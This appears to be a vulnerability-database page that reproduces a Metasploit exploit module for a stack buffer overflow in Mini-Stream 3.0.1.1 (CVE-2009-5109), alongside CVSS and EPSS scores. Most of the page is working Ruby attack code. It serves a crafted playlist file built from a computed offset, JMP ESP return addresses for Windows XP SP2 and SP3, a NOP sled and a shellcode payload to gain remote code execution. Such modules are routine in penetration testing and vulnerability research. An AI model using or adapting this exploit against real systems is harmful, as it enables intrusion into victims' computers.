Lucene search

K
metasploitUnknown, Ron Henry <[email protected]>MSF:EXPLOIT-WINDOWS-MISC-MINI_STREAM-
HistoryNov 04, 2011 - 8:20 a.m.

Mini-Stream 3.0.1.1 Buffer Overflow

2011-11-0408:20:43
Unknown, Ron Henry <[email protected]>
www.rapid7.com
12

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.379

Percentile

97.3%

This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1 By creating a specially crafted pls file, an attacker may be able to execute arbitrary code.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow',
      'Description' => %q{
          This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
        By creating a specially crafted pls file, an attacker may be able
        to execute arbitrary code.
      },
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'Unknown', # CORELAN Security Team
          'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
        ],
      'References' =>
        [
          [ 'CVE', '2009-5109'],
          [ 'OSVDB', '61341' ],
          [ 'EDB', '10745' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload' =>
        {
          'Space' => 3500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
          'StackAdjustment' => -3500
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [
            'Windows XP SP3 ENG',
            {
              'Ret'    => 0x7e429353,  # 0x7e429353 JMP ESP - USER32.dll
              'Offset' => 17417
            }
          ],
          [
            'Windows XP SP2 ENG',
            {
              'Ret'    => 0x7c941eed,  # 0x7c941eed JMP ESP - SHELL32.dll
              'Offset' => 17417
            }
          ]
        ],
      'Privileged' => false,
      'DisclosureDate' => '2009-12-25',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('URIPATH',  [ true,  'The URI to use for this exploit', 'msf.pls'])
      ])
  end


  def on_request_uri(cli, request)
    # Calculate the correct offset
    host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    host << ":#{datastore['SRVPORT']}/"
    offset = target['Offset'] - host.length

    # Construct our buffer
    sploit = rand_text_alpha(offset)
    sploit << [target.ret].pack('V')
    sploit << make_nops(32)
    sploit << @p

    print_status("Sending malicous payload")
    send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
  end

  def exploit
    @p = payload.encoded
    super
  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

EPSS

0.379

Percentile

97.3%

Related for MSF:EXPLOIT-WINDOWS-MISC-MINI_STREAM-